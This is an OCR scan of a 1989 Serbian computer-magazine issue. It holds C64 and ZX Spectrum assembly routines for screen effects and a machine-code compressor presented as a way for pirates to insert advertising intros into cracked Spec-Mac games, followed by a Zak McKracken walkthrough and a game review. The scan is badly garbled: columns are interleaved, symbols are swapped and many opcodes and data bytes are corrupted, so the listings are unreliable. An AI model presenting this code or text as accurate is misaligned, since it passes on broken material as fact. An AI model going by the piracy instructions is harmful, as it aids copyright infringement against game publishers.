ekrana koja smo na ovaj nacin

dobili sastoje se iz naizmenic-

nih linija i supljina (zar vas to

ne podseca na cesalj?), Sada
cemo poceti. polako, da jedan
ekran pomeramo na jednu
stranu, a u isto vreme i drugi

ekran na drugu stranu, dru-

gim recima - da „cesljamo".

Da, na ovaj nacin smo uspe-
li da obrisemo ekran, ali jos

uvek se nije pojavio sadrzaj

novog, reci cete. Ali, ne zadu-
go. Novi ekran koji je potreb-

no ispisati podelicemo, na
identican nacin, na parne i ne-

parne linije. Parne linije cemo
polako prikazivati na ekranu
sa one strane gde su malopre
nestale parne linije starog ek-

rana, a neparne sa druge stra-

ne. Nakon izvesnog vremena
sadrzaj novog ekrana je po-
stao vidljiv, a korisnik je iraao

priliku da vidi jedan zanimljiv,

a u isto vreme jednostavan
efekat.

LISTING 1

. ,
2072 LDA #$00

. , 2074 LDX $20B0

. ,
2077 STA $0400,

X

207A STA $0450,

X

. , 2096 STA $0518,

X

207D STA $04A0,X . , 2099 DEX
2080 STA $04F0,

X

. , 209A STX $20Bi
2083 STA $0540,

X

. , 209D CPX #$FF
2086 INX . , 209F BEQ $20B2
2087 STX $20B0 . , 20A1 LDX #$00
208A LDX $20B1 . , 20A3 LDY #$00
208D STA $0428., X . , 20A5 INX

2090 STA $0478,

X

. , 20A6 BNE $20A5
2093 STA $04CB,

X

. , 20A0 INY
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20A9 CPY #*13 . , 20C8 LDX *20B0 20F6 LDA *1778,

X

20AB BNE *20A5 . , 20CB LDA *1700,

X

20F9 STA *0478,

X

20AD JMP *2072 . , 20CE STX *0400,

X

. , 20FC LDA *17Ca,

X

20B0 NOP . , 20D1 LDA *1750,

X

20FF STA *04C8,4
20B1 NOP . , 20D4 STA *0450,

X

2102 LDA *1818,

X

20B2 LDX #*00 . , 20D7 LDA *17A0,X 2105 STA *0518,

X

20B4 LDY #*00 . , 20DA STA *04A0,

X

2108 INX
20B6 INX . ,

20DD LDA *17F0,X • » 2109 STX «20B1
20B7 BNE *20B6 . , 20E0 STA *04F0,X 210C CPX #«28
20B9 INY . , 20E3 LDA *1B40 ,

X

, 210E BEQ *211F
20BA CPY #*F0 . , 20E6 STA *0540,

X

» 2110 LDX #«0O
20BC BNE *20B6 . , 20E9 DEX , 2112 LDY #*00
20BE LDA #*27 . , 20EA LDA *20B0 , 2114 INX
20C0 STA *20B0 . , 20ED LDX *20B1 » 2115 BNE *2114
20C3 LDA #*00 . , 20F0 LDA *1728,

X

, 2117 INY
20C5 STA *20B1 . , 20F3 STA *0428,

X

» 2118 CPY #*13

2ilA BNE *2114
. , 211C JMP *20C8

211F RTS

Cesalj-rutina

Rutina kojom je postignut
ovaj efekat ekrana data je na
(jedinom) listingu. Vazno je

j

napomenuti da je pre poziva-
nja ove rutine potrebno posta-
viti dva brojaca, koji se nalaze
na lokacijama #20B0 i

#20B1. Vrednost prvog broja-
i

ca je #FF, dok je vrednost
drugog # 28. Ovo je najjednos-
tavnije postaviti komandom

jW 20B0 FF 28.

• O

SPECTRUM INTRO SERVIS

Let's Scroll Again
U nekoUko prethodnih brojeva
prosto stno vas zatrpali raznim
intro mejkerima i slicnim
programima. NekoUko citalaca

nas je kritikovalo kako
programe ne bi trebalo da
objavljujemo bez asemblerskog
listinga. Kao razlog naveli su
nemogucnost ucenja, sto je
gtavni cilj naseg casopisa.
Kritiku primamo; od sada- cento
vam prvenstveno davati
asemblerske listinge, dok cento
u DEC LOAD obliku davati
santo neke duze programe.
Nadamo se da ce sada svi biti

zadovoijni.

RXV"Bill
Pise Predrag Beciric

azni skrolovi teksta po ekranu os-

novni su dec bilo kog intro progra-

Lraa, Zbog toga vam i sada dajemo lis-

ting jedne talcve rutine. Rutina ne pruza nista

posebno novo, ali je data u asembierskom ob-

iiku, sa detaijnim komentarima, tako.da cete

lako nauciti na koji se nacin moze napraviti

jednostavan skrol.

Mirror scroll

Skrol teksta je standardni, s leva.na desno, s

tim sto se sastoji iz dva dela.

Prvi deo predstavija normalni skrol teksta,

koji se odvija u prvoj trecini ekrana. Slova su

velicine osam puta osam karaktera, a definici-

ja slova moze se menjati na standardan naCin.

Vazno je samo u sistemsku varijablu 23606

uneti adresu od kjoje je smestena nova defini-

cija slova.

Drugi deo skrola predstavija skrol istih onih •

karaktera kao i u prvom delu, ali ovaj put ok-
renutih naglavce, kao kada bismo prvi skrol

!

gledali u ogledalu,
|

Rutinu koju ovom prilikom dajemo potreb-

no je asemblirati bilo pomocu GENS-a ili ne-

kog drugog asemblera. jedino sto je potrebno

je na pocetkii uneti adresu od koje ce se pro-

gram asemblirati. To postizete koriscenjem di-

rektive ORG, kojoj kao parametar navodite

adresu od koje program treba da se asemblira.

Naravno, pre svega ovoga potrebno je uneti

tekst koji ce se skrolovati.

Rutinu je sada potrebno snimiti zajedno sa

igrom. Za to je potrebno da cela igra bude uci-

tana u memoriju racunara, ali da se pri tom ne

startuje. Zatim je potrbno pretraziti memoriju

i pronaci negde prazan blok memorije u koji

se moze ucitati nasa rutina. U ovo podrucje je,

sada, potrebno ucitati snimljenu rutinu.'koju

smo asembliraii od ove adrese. Preostalo nam
je jos samo da igra, pre nego sto se startuje,

pozove nasu rutinu. I

Listing MIRROR SCROLL

start LD A, 128 InldJaHzuJu se poCetne vrednostl.
LD HL,maska*1

LD (HL),A

LD A.56 Postavijaju se boje na ekran.

LD HL,22528 Paper 0.

LD DE,22529 Ink 7.

LD (HL),A

LD 8C.767

LDIR

XOR A
OUT (254).A Border Ima vrednost

V

LD (23560),

A

Nlje pritisnut nl jedan taster
• LD HL, 16384

Ioop1 LD Df.def Ceo ekran se popunjava jedntm
PUSH HL Istlm karakterom, da bl bto

LD B,17 lep51 utisak skrola.

32

loop2 LD A.(DE) Izgled tog karaktera mo2e se

LD (HL),A promenitl menjanjem osam bajtova

INC DE koJ1 poCinju od labeledef.

INC H

\ DJNZ loop2

POP

INC

HL

L re
JR NZJOOpI

prom LD IX,text Postavlja se pointer na poCetak

loop3 LD A,(1X*0) teksta koj1 se skroluje.

AND A Uzima se prv) karakter. Ako je

JR Z,prom nula, doSlo je do kraja poruke. U
INC IX tom sluCaJu, poruka poCInje od

LD BC,(23606) poCetka.

LD H.0 Pronalazl se potetak definlcije

LD L,A karaktera u karakter setu.

ADD HL,HL To se post12e mno2enjem sa 8,
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Spec-Mac kompresor

Od naseg mlaog saradnika Ranka Lazica do-
bili smo novu rutinu, koja ce prilicno olaksati

posao oko ubacivanja introa u igre.

„Vecina igara za Spectrum koje su pristigle

u poslednjih godinu do dve dana na nase pi-

ratsko trziste razvijene su u drugim zemljama

(Nemackoj ili HolandijI) i to pomocu raznov-

SVET KOMPjUTERA / JUN '89.

rsnih hardverskih uredaja specijalno projekto-

vanih za tu svrhu. Svi su oni zbog toga bili

snimljeni na poseban nacin, kojem su hakeri

ubrzo dali ime Spec-Mac. U zavisnosti od

vrste interfejsa kojim je program razbijen, raz-

likuju se dve varijante Sepc-Mac sistema;

1. u toku ucitavanja na ekranu se nalazi sa-

mo jedan naslovni skrin, koji se ucitava od-

mah posle bejzika;

2, dok se igra ucitava, smenjuju se dva skri-

na: prvi se ucitao posle bejzika, a drugi posle

dva glavna bloka.

Duzine fejlova su u oba skicaja iste (razlike

se primecuju samo kod skrinova);

1. bejzik cija duzina uopste nije bitna i izno-

•i oko jednog kilobajta;

2, skrin duzine 6916 bajtova ako je to jedini'

text DEFM "Mirror scr"

DEFM "ollbyDes"

DEFM "troyer!
"

DEFB 0

Tekst koJi se skroluje. Du21na

teksta niJe odredena, all se

obavezno mora zavrSlti nulom.

Marker za kraj teksta.

prvlh 17 linljo atrlbuta.

To se radi na naJJednostavnIJI

naCin sa LDIR Instrukcljom, Jer

nam neka prevellka brzina sada

nlje nl potrebna.

PoCetak Iscrtavanja prvog znaka.

PoCetak tscrt. drugog znaka koJI

(zgleda kao I prvI, all u ogledalu.

PoCetak definiclje karaktera u OE.

Bro]ac2 Ima vrednost 8.

Maska odreduje koJa Ce se kolona

karaktera Iscrtavatl.

Na mestu gde Je setovan bit crta se

bell atrlbut.

Na mestu gde je resetovan bit crta

se crni atrlbut.

To Isto se uradi 1 za drugi znak, all

u ogledalu.

Adresa sledece Hnlje je za 32 veCa.

PoSto nam je BC veC zauzet, to

Cemo uradltl pomoCu reglstra L.

BC nam nije zauzeto, tako da Cemo

za drugi karakter moCI jednostavno

da oduzmemo BC od DE'.

SledeCI red definiclje karaktera.

Ponovi petiju.

PromenI masku za sledecu petiju.

Vratl brojaC sa steka.

Ponovi petiju.

Nastavl program od labele loop3.

Memorlja kao prlvremenl registar.

Oefinicija karaktera kojim se na

poCetku popunjavaju prvlh 17

redova ekrana.

Promenom ove definiclje

moguCe je dobitl razllCIte

efekte.

LD A, 17

loops LD BC,31

LDIR

INC HL

INC DE

DEC A
JR NZ.loopS

LD HL,22559

EXX

LD DE.23039

EXX

LD DE,(chars)

LD B,8

loops LD A,(DE)

maska AND 128

JR NZ,tacka

LD A.63

JR dalje

tacka LD A,56

dalje LD (HL),A

EXX

LD CDE),A

EXX

LD A.32

ADD A.L

LD L,A

EXX

LD BC,32

XOR A
SBC DE,BC

EXX

INC DE

DJNZ 1oop6

LD HL,maska* 1

RRC (HL)

POP. BC

DJNZ loop4

JR Ioop3

Chars DEFW 0

def DEFB X001 11100

DEFB ^01000010

DEFB ?«10011001

DEFB X10100101

DEFB X10100101

DEFB 9^10011001

DEFB %010000 10
DEFB 9^00111100

ADD HL.HL a zatim dodavanjem poCetka

ADO HL,HL karakter seta.

ADO HL,BC

LD (chars),HL Dobljena adresa se pamti.

LD A,(23560) Testira se da II je pritlsnut

AND A neki taster. U sluCaju da jeste,

RET NZ dolazi do povratka.

LD B,8 Petija za Iscrtavanje slova.

PUSH BC BrojaC Ide na stek.

HALT definicija karaktera. Ceka se

LD HL,22529 da elektronekl miaz dodc u levi

LD DE,22528 ugao ekrana, a zatim sledi skrol

Sm'c'I.V";' iPiii

super pftjmijii

Svet iqara 5y Ako ga kupite mozete imatij

jeuprodaji. ^rC“64 +
... ill neku drugu nagradu
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skrin u igri; odnosno duzine 6912 bajta ako su

u pitanju dva skrina;

3. prvi blok duzine 20.000 sa pocetnom ad-

resom 25000;

4. drugi blok duzine 20536 bajtova sa pocet-

kom na 45000;

5. drugi skrin (ako postoji) duzine 6916 baj-

tova;

6. zavrsni deo koji se ucitava preko bejzika 1

sistemskih promenljivih i zauzima memoriju
od 23296 do 24999 (duzina mu iznosi 1704 baj-

tova}.

Kada se navedeni podaci malo bolje pogle-

daju, dolazi se do zakijucaka da Spec Mac sis-

tem ucitavanja ne ostavlja ni jedan jedini bajt

memorije Slobodan. Sa dva velika bloka piini

se memorija od 25000 pa do kraja (do adrese

65535), a zadnjim biokom puni se ostatak rpe-

morije.

Cilj rubrike Intro scrvis je da citaocima (pi-

ratima) omoguci ubacivanje svojih reklamnih

poruka (introa pripremljenih pomocu objav-

Ijenih intro mejkera) u igre. Ali, kao sto vidite,

Spec Mac sistem to ne dozvoljava - za vas in-

tro, jednostavno, nema prostora.

Spektrum intro servis ne bi bio ono sto jeste

da nije resio i ovaj problem. Pribegnucerao
jednom starom triku koji vlasnici commodo-
rea koriste jos od kad znaju sta je to intro, Stos

je u tome da se igra kompresuje i tako smanji
memorijski prostor koji ona zauzima. Na taj

na.cin dobice se mesta za intro. Takode treba

uociti to da nema potrebe kompresovati sve

fajlove koji iilaze u sastav igre: dovoljno je sa-

bit! samo dva najduza fajia, sto nasa rutina i

radi.

Program dat kao listing 1 predstavlja sam
kompresor. Kada ga unesete pomocu Dec Loa-

dera objavljenog u proslom izdanju Intro ser-

visa, i po zavrsenom unosu otkucate quit, sni-

mite program na kasetii. Sledeci korak koji

treba izvrsiti jeste ucitavanje snimljenog pro-

grama sa LOAD CODE 16384 (program ste

prvobitno uneli od adrese 50000}. Kada se pro-

gram ucita, pazite da slucajno ne obrisete ek-

ran pre nego sto otkucate RANDOMIZE USR
16384 i na taj nacin startujete kompresor.

Posle startovanja, kompresor ce zahtevati

da ucitate dva dugacka bloka igre koja slede

iza prvog skrina. Kada se i to obavi, program
ce kompresovati ucitane fajlove i sacekati da
pritisnete na „SPACE" da bi kompresovan
podaci bili snimljeni na kasetu.

Sledece sto treba da obavite jeste merenje
duzine snimljenog headerless-a (pomocu ne-

kog copy programa), Posie toga, potrebno je

da prilagodite dekompresor svom programu,
sto cete uraditi na sledeci naCin;

1, unesite prograd dat kao listing 2 pomocu
Dec Loadera;

2. dok je program u memoriji (od adrese

65000) izvr§ite izmene
- na adresu 65021 unesite prvo nizi pa onda

vi§i bajt broja koji predstvlja duzinu koju ste

izmerlli.

- na adresu 65034 na isti nacin smestite du-
zinu introa, koja ne sme da premasi 1536 baj-

tova,

NIVOl
049.(3(30, 088 .175,211,254, 033 , 000
008.017. 001 . 088.001 . 255.002.119
237.176,221.033,168,097,017.032
078 , 062 , 255 ,055,205, 086 , 005 , 221
033,200, 175,017,056.080,062,255
055 , 205 , 086 , 005,243 , 175,211 ,254
033.168.097.221.033.000.

091.001
088 . 158 . 126.167.040.025.221 . 119
000 , 221 , 035,035,011 ,120,177, 032
241 . 221

.054.000.

000 . 221 . 035.221

054.000.

000.221 .035.024.033.022
001 ,035,011 , 126 , 167,032,012,035
020 .011. 122 .254.255. 040 . 004 . 120
1 77 . 032 . 240 . 221 . 054 . 000

.

000 . 221
114,001,221,035,221,035,024,205
221 . 229 . 225 . 017 . 000

.

091 . 167 . 237
082 , 235 , 062 ,127,219, 254 . 031 , 056
249.221 .

033.000.

091 .062.255. 195

194.004.000.

000.000 . 000.000.000

LISTING 2
65000: 049,255,255,221 ,033,000,064,017
65008: 000,027,062,255,055,205,086,005
650J,6: 221 ,033,000,091 ,017,008,129,062
65024: 255,055,205,086,005,221,033,232
65032: 247,017,000,006,062,255,055,205
65040: 086,005,205,232,247,243,033,000
65048: 088,017,001,088,001,255,002,054
65056: 000,237,176,033,049,254,017,000
65064: 064,001 ,150,000,237,176,195,000
65072; 064^,049,255,087,033,007,220,017
65080; 255,255,001,008,129,237,184,033
65088 : 248 , 126 , 221 , 033 , 000 ,091,126,167
65096 : 040 , 008 ,221,119, 000 , 035 , 221 , 035
65104: 024,244,035,190,040,012,070,035
65112: 221 ,054,000,000,221,035,016,248
65120: 024,228,033,087,249,017,255,255
65128: 001,088,158,237,-184,049,167,097
65136: 033,077,064,017,192,093,001,050
65144: 000,237,176,195,192,093,221,033
65152: 000 , 064 ,017, 004 , 027 , 062 ,255,055
65160: 205,086,005,237,123,000,091,241
65168: 237,071,209,225,193,217,253,225
65176; 042,002,091,221 ,033,000,091,017
65184: 168,006,062,255,055,229,251,195
65192 : 086 . 005 , 000 . 000 . 000 , 000 . 000 , 000

LISTING 3
10 BORDER 0: PfiPER 0; INK 0
20 CLS : LO(4D '"’CODE 65000
30 RANDOMIZE UBR 65000

Na adresu 65077 smestite broj koji se dobija

kada se duzina Idampresovanog koda sabere sa

23295.
- adresa 65083 treba da sadr^ duzinu hea-

deriess-a.

- konacno, na adresu 65088 stavite broj koji

se dobija kada se od 65536 oduzme duzina

snimljenog bloka;

3.

snimite novodobijeni program na kasetu.

Sada, kada ste konacno pripremili sve fajlo-

ve od kojih ce se sastojati nova verzija igre,

red bi bio i da ih, u finalnom rasporedu, sni-

mite na kasetu. Potreban redosled je ovakav:

1.

bejzik sa listinga 3, snimljen sa SAVE
„ime igre" LINE 10;

2. program dat kao listing 2, koji predstavlja

loader igre zajedno sa dekompresorom za

srednji, dugacki blok;

3. skrin duzine 6912 (prvi skrin u original-

noj igri ako postoje dva, odnosno bilo koji

skrin, na kojem mogu da se nalaze vase rek-

lamne poruke, u slucaju da je igra u originalu

imala samo jedan skrin u toku ucitavanja);

4. headerless dobijen primenom programa !

sa listinga 1;
,

5. vas intro, snimljen takode u obliku hea-

deriess-a;
(

6. skrin koji je u originalnoj igri bio dugacak
6916 bajtova;

7. zavrsni blok Spec Mac sistema koji je du- i

zine 1704 bajtova. I

Treba primetiti da kompresor nudi piratima

niz pogodnosti. Prvo (i najvaznije) jeste da sa-
j

da pirati mogu da ubace svoj intro priprem- I

Ijen nekim od objavljenih intro makera u bilo '

koju igru snimljenu na Spec Mac nacin (a to je |
90% igara) i na taj nacin povecaju svoju rekla-

mu. Ako im ni to nije dosta, svoje kreativne

sposobnosti mogu da iskazu u dizajniranju

prvog skrina igre na koji mogu da stave gomi-

lu svojih reklamnih poruka.

' 10 POKE 23658,8; BORDER 0; INK
7: PAPER 0: BRIGHT 1; CLS
15 DIM a*(l,31)
20 PRINT AT 0,0;'‘DECLOADER by

DESTR0YER1987-B9.
25 INPUT "Startna adresa je

start
26 IF 5tart<0 OR 9tart>65535 T

HEN PRINT FLASH 1;" * ERR
DR # 60 TO 25

30 PRINT "
*; Startna adres

a je FLASH l;start —
40 PRINT '

" » Za kraj uneti
; FLASH 1 ; '•QUIT*'
45 BEEP .3,1
50 PRINT AT 21,0;; FDR a=i TO

24; POKE 23692,255; BEEP .03,4;
PRINT ; NEXT a

55 LET adresa=start
60 PRINT "Trenutna adresa je "

; FLASH 1; adresa;'
65 POKE 23692,255: BEEP .2,4;

INPUT "PODACI za ovu adresu su;"
' LINE a«(l)
68 IF a*(l)(l TO 4)="QUIT" THE

)
N GO TO 200

70 FOR a=4 TO 31 STEP 4; IF a*
||(l)(a TO a)=" " OR a*(l)(a TO a)
"

= OR a*(l)(a TO a)="." THEN
NEXT a; GO TO 80 /

75 BEEP .5,10; PRINT FLASH
1;" ERROR GO TO 60

80 FOR a=l TO 31 STEP 4; FOR b
=0 TO 2; IF a*(l)(a-^b TO a-^b)>"9
" OR a*(l)(d-^b TO a^b)<•'0" THEN
GO TO 75
85 NEXT b; NEXT a
90 FOR a=l TO 31 STEP 4; POKE

adresa, VAL a*(l)(a TO a-f-2); LET
adresa-adresa-*-! : NEXT a

,

100 PRINT a*(l)'; GO TO 60
,

200 DIM f*(l,10); PRINT '"SAVIN
G"': INPUT "FILENAME ";F*(1): SA
VE F*(l)CODE start , adresa-start-*-

]

8: PRINT '"VERIFY": VERIFY fS(l)
CODE Start; PRINT '"VERIFY O.K."
! STOP

o

50000

;

50008:
50016:
50024

:

50032:
50040:
50048:
50056:
50064

:

50072:
50080

:

50088:
50096:
50104 :

50112:
50120!
50120:
50136:
50144

:
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ZAK McKRACKEN
Pazljivo pratite nasa uputstva i

mapu i ubrzo cete postati pravi

ekspert za ovu igru.

U poietnoj sobi sa nocnog or-

marica pokupite ribicu (Susi) sa

akvarijumom, iz ladice telefonski

racun, a iz ladice stola sviralu (ka-

zoo). Kes karticu izvucite pocije-

panom tapetom koju skidate sa zi-

da. Dignite rub tepiha i idite u sli-

jedecu sobu (kuhinja). Dignite jas-

tuk (pored TV-a) i ukazace vam se

utikac i uticnica koje spojite. Dig-

nite drugi jastuk i uzmite daijinsla

upravljac. Upotrijebite ga i TV ce

proraditi. Sa zida uzmite noz, iz

ftizidera jaje, a iz ormarica zutu

bojicu koju upotrebijavate na ta-

ped. Sa zida (do vrata) uzmite ma-

li kljuc i idite van do pekare.

Pozvonite tri puta i pekar ce

vam baciti stari hljeb. Uzmite ga i

idite do 14. avenije. Otvorite prva

vrata (zalagaonica) i udite unutra.

Od prodavaca polmpujle sve stva-

ri i idite van. Otvorite alat i idite

do frizerskog salona. Sjecicama (iz

alata) skinite Bobijev znak i vrati-

te se u kuhinju. Stari hljeb stavite

u sudoper i upalite prekidac (na

zidu). Hljeb ce biti samljeven, a vi

sa klijstima odvrnite pipu i poku-

pite hljebne mrvice. Ribicu ostavi-

te u sudoperu,

Idite u pocetnu sobu i sa sjecica-

ma otvorite ruu u podu. Upotrije-

ibite konopac i spustite se dole. Na
sebe stavite §e§ir i masku (nose

giases) i prodite kroz vrata, Nala-

zite se u po§ti sa sluzbenikom koji

misli da ste njegov brat. Upotrije-

bite terminal, a iz sanducida poku-

pite molbu na kojoj upotrijebite

zutu bojicu. Molbu stavite u po-

stansko sanduce (otkljucajte ma-
lim kljucem) i idite do autobusa.

Zasvirajte u sviralu i vozac ce ot-

voriti vrata. Kes-karticu stavite.

u

citac i autobus ce krenuti. Na ae-

rodromu srecete Devetoa od kog

kupite knjigu (dajte mu ke§-karti*

cu). Izadite na izlaz i naddete se u

avionu,

Idite do toaleta i upotrijebite to-

alet papir u sudoperu. Pustite vo-

idu i pritisnite dugme sa zida. Dok
jse stjuardesa zamajava sa otceplji-

jvanjem idite do sijedi§ta (ispred

vaseg) i pokupite vazdusno' jastuce

|i upaljac (sa poda), Uradile jo§ jed-

inom ono sa toaletom i idite do

mikrovalne pecnice. Otvorite je,

stavite jaje i upalite. Dok se stjuar-

desa zamajava sa ciscenjem pecni-

ce vi otvarajte prtljaznike za stvari

i iz zadnjeg pokupite bocu sa kise-

onikom. Sada let mozete da preki-

Inete pritiskom na „RETURN" tas-

'ter,

Stigli ste u Seatl i idite van. Gu§-

terima dajte „peanuts" i oni ce oti-

di, Otkinite granu sa drveta i upot-

rijebite je na pukotini, Otkopali

ste pecinski prolaz kroz koji treba

prodete. Nozem skinite pticje gni-

jezdo (iznad glave) i zajedno sa

granom stavite u ognjiste. Vatru

upalite upaljacem i idite do stra-

nih crteza. Na njima upotrijebite

bojicu i otvorice se prlaz kroz koji

treba da prodete. U ovoj prostoriji

upotrijebite daljinski upravljac i

uzmite plavi kristal.

Vratite se u San Francisko i pla-

vi kristal stavite u kutiju na vrati-

ma (pored zalagaonice). Vrata ce

vam otvoriti Ani i uve§ce vas

unutra, Nakon kratke price dobi-

cete jo§ tri prijateijice koje su tu

da vam pomognu u spasavanju

Zemlje. To su: Ani (koja je sa va-

ma). Lesli i Melisa (koje su na

Marsu). Sa Zakom idite do po-

stanskog sanduceta i uzmite Fan

Klub karticu. Idite u Majami i Bu-

mu dajte knjigu, a on ce vam dati

viski. Idite u Kinehosu i vraCu daj-

te golf palice, a on ce odigrati igru

koju morate da upamtite (sifra za

otvaranje vrata na Marsu). Idite u

Katmandu i cuvaru dajte knjigu

da bi vam otvorio vrata. Udite

unutra i Guru ce vam reci da sace-

kate. Nakon cekanja (5 min) obu-

cice vas za rad sa plavim krista-

lom,

Izadite napolje i zapalite sijeno.

Dok policajac gasi pokupite zasta-

vu i idite u Bermudski trougao. Si-

le sa nepoznatog vasionskog bro-

da uvucice vas unutra. Pilot ce po-

bjeci, a vi pritisnite dugme na zi-

du. Kapolian ce vas odvesti do

kralja kojem dajte Fan Klub karti-

cu i on ce se sprijateljiti sa vama.

Procitajte loto kombinaciju (loto

listic kupujete u zalagaonici) i idi-

te do sarenih dugmadi. Otkucajte

sifru (pilotovu) i nacete se u ambi-

su. Upotrijebite padobran i pacete

u more. Zasvirajte u sviralu i doci

ce delfin na kojem upotrijebite

plavi kristal.

Pod vodom pocupajte alge i na-

ci cete svijetleci objekat koji dajte

Zaku. Tad dolazi Kapolian, oduzi-

ma kristal i sprovodi u zatvor za

ispiranje mozga. Kad vas pusti ot-

San Francisco Miami Airplane
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vorite ormaric i uzmite kristal.

Kupite ioto listic i idite u Limu.
HIjebne rarvice stavite na hranilis-

te i ptica ce slijetjeti. Na njoj upot-
rijebite plavi kristal i ptica ce biti

u vaSoj moci. Odletite do glave ki-

pa (nadesno) i prodite kroz lijevi

prozor (oko kipa). Pokupite stari

rukopis i dajte ga Zaku. Otidite u
Meksiko, pronadite prostoriju sa

kipom i cekajte. Odaberite Lesli

(na Marsu), otvorite pretinac (u

Satlu) i pokupite osigurac i kes-

kartice.

Idite do monolitne ploce, upot-

rijebite kes-karticu u prorezu i do-

bicete kartu za trampolinu. Sa
kartom otvorite metainu piocu u

spavaonici i u njoj upotrijebite osi-

gurac. Sada. posto ste dobili svet-

lo, otvorite sporedna vrata i udite

unutra. Pokupite merdevine. van-
zemaljca i viniinu traku, Otvorite

ormaric i pokupite baterijsku 1am-
pu. Otidite do pijeska i sa vanze-
maljcem ga pocistite. Otidite nad-
esno do velikih vrata (Huge Face)
i postavite merdevine. Otvorite
vrata (sifra iz Kinehose) i udite

unutra.

Idite do prvih vrata. postavite

merdevine na postolje i dotaknite
kristainu kuglu. Otvorila su se vra-

ta lavirinta u kojem morate da
pronadete dvoje prostorije. U jed-

noj palite masinu za erkondisn, a

u drugoj citate sifru za otvaranje
vrata u nozi Sfinge. Izadite napo-
Ije i sa kipa procitajte sifru za
Meksiko.

Odaberite Zaka, zutom bojicom
otkucajte sifru i pokupte kristalni

dio. Vratite se u San Francisko.

pokupite novae od lotoa (10.000) i

odaberite Ani. Dignite pokrivac sa

stola i pokupite ke^karticu. Od
Zaka uzmite: viski, sjecice, zasta-

vu. stari rukopis i oba kristalna di-

jeia (shard), i idite u London. Cu-
varu dajte viski, iskljucite struju,

sjecicama napravie rupu i idite do
kamene prepreke (Stonhedge). Na
veliki kamen stavite oba kristalna

dijela, zabodite zastavu i procitaj-

te stari rukopis. Dobili ste zuti

kristal koji dajte Zaku.

U liku Zaka idite u Kinehosu i

vracu dajte zuti kristal da bi vas
obucio za rad. Upotrijebite zuti

kristal, teleportirajte se u Peru,
pokupite stalak, pa zatim otidite u
Kairo. Odaberite Ani, od Zaka uz-

mite mapu i bojicu, pa idite do no-
ge Sfinge. Na stranim ertezima
upotrijebite bojicu (sifra iz ..Huge
Face") i otvorice se vrata. Udite
unutra i pratite vrata sa suncem.
kad dodete do glavne prostorije

procitajte hijeroglife (raspored
pritiskanja dugmadi). Kad se uka-
ze mapa Marsa precrtajte je na
svoju mapu i zapamtite sifru (stra-

ni ertezi). Mapu dajte Zaku i sa

njim sa teleportirajte na Mars
(Huge Face).

Na stranim ertezima upotrijebi-

te bojicu (sifra iz Sfinge) i otvorice

se troja vrata lavirinta. Da biste

dosli do velikog kabineta (Huge
Face) treba da se drzite lijeve stra-

ne lavirinta. Odaberite Melisu,
udite u satl, pokupite kasetu iz ra-

dija, kasetofon i idite u veliki kabi-

net. Od Lesli uzmite viniinu traku,

upotrijebite je sa kasetofonom i

snimite postupak otvaranja vrata.

Idite do srednjih vrata, ukijucite

kasetofon i vrata ce se otvoriti. U
sobi sa kipom pokupite kljuc (An-
hl) koji upotrijebite u panelu (tre-

ca vrata). Posto ste iskijucili elelc-

tronski stit pokupite zlatni kljuc i

idite van. Od Zaka uzmite Bobijev
znak i zajedno sa Lesli idite do
vrata piramide (u trampolini ko-
ristite karte iz monolita). Pijesak

ocistite vanzemaljcem a vrata ot-

vorite Bobijevim znakom. Idite u
prostoriju sa sarkofagorrf Lesli ne-

ka drzi gurnute noge sarkofaga, a

sa Melisom idite u prostoriju na
gore.

Odaberite Zaka, obucite mokro
odijelo, masku sa kiseonikom i na
glavu stavite akvarijum (na akva-
rijumu prethodno upotrijebite

„duck tape"). Idite u piramidu
(skrivenu prostoriju) i otvorite ku-
tijicu sa zlatnim kljucem. Dok Me-
lisa drzi stisnuto dugme, u lihi po-

kupite bijeli kristal i teleportirajte

se u piramidu na Zemiji. Na bazu
stavite svijetleci objekt. stalak i

sve kristale (bijeli. zuti, plavi). Za-
kom i Ani pritisnite po jedan pre-

kidac na zidu i pogledajte sta ce se

dogoditi.

NAPOMENE:
- na Marsu morate da pazite na

kolicine kisika (citanjem stanja

sljema) koje nadoknadujete od-
vrtanjem ventiia u satlu;

- za dobijanje vise novaca ku-
pujte loto tikete (sifra je svaki put
drugaeija);

- pojedine radnje izvrsava samo
neko od vasih prijatelja;

- kad god koristite plavi kristal

morate brzo da pobjegnete jer vas
u protivnom sprovode u zatvor.

O Zeljko Jovicic

PURPLE SATURN DAY

100loo
PURPLE SATURN DAY

[\'eraja?a A.MICU

brafikfl OBBBBBDDQii
Rntmoiijd DBBBBHBBBTT]
idejB DBBBBBBQ^I^
l/rada OBBBBBBQBi^

Znate, kada na sebi imate „Mag-
lux"-ovo superpojacano odelo za
te§ke svemirske uslove, pricvrsce-
no za vas senzorski titanijumski
slem sa oklopljenim vizirom, kapi-
larne gacice i „Pampersove’’ pele-
ne, kao i termo-nuktearni sistem
za odrzavanje zivota. Saturn je

prilicno ugodno mesto. Naravno,
vreme je skoro uvek grozno, ali su
ljudi prijateljski nastrojeni i stras-

no vole sport. Buduci da to bas ni-

je pravo mesto za jednu uzbudlji-
vu igru lastiSa ili napetu partiju

bacanja kamena s ramena, veseli

Saturnijanci su napravili neku
vrstu olimpijade koja se odigrava
svake godine „kada Saturn posta-
ne purpuran". Ludo, zar ne? Po-
red toga, protivnike obicno ne ci-

ne klinci iz druge ulice vec razno-
razne svemirske nakaze i grdobe.
Tu je i Zemijin vrli predstavnik,
ali je on (na opste zgrazanje) jedan
od najslabijih i najnespretnijih
takmicara. Sve, medutim, ima svoj
razlog; pobednik ne dobija ni pe-
hare ni medalje, vec poljubac mis
Purpurnog Saturna. Ovo i ne bi

^lo tako lo§e kada se kao mis po-
nekad ne pojavljuju i vrio zenstve-
na sluzava cudovista sa Aldebara-
na... Sta mozemo, o ukusima ne
vredi raspravljati.

Svi protivnici imaju odreden set

karakteristika kao sto su mentalne
sposobnosti, agresivnost, velicina i

sposobnost putovanja kroz vreme.
Svi takmicari su u konstantnoj
evolueiji, tako da se posle svake
ture njihove karakteristike malo
menjaju. Rezultat promena se sni-

ma na disk, tako da ni jedna igra

ne bi trebalo da bade sasvim ista

kao prethodna. Tako barem tvrde
instrukeije, aii ja smatram da cete
morati potroSiti prokleto mnogo
vremena na jurnjavu oko Saturna
da biste primetili neke razlike.

Ipak, dobra ideja.

Ako ne zelite da se odmah uh-
vatite u kostac sa ostatkom uni-
verzuma, mozete poceti igru sa ro-

botom kao sparing-partnerom; ne-
ka vas pobeda ipak ne zavarava,
jer su pravi protivnici oko 10 puta
jaci. Sada vam jo§ samo ostaje da
izaberete jednu od ikona koje
predstavljaju razne discipline, i ig-

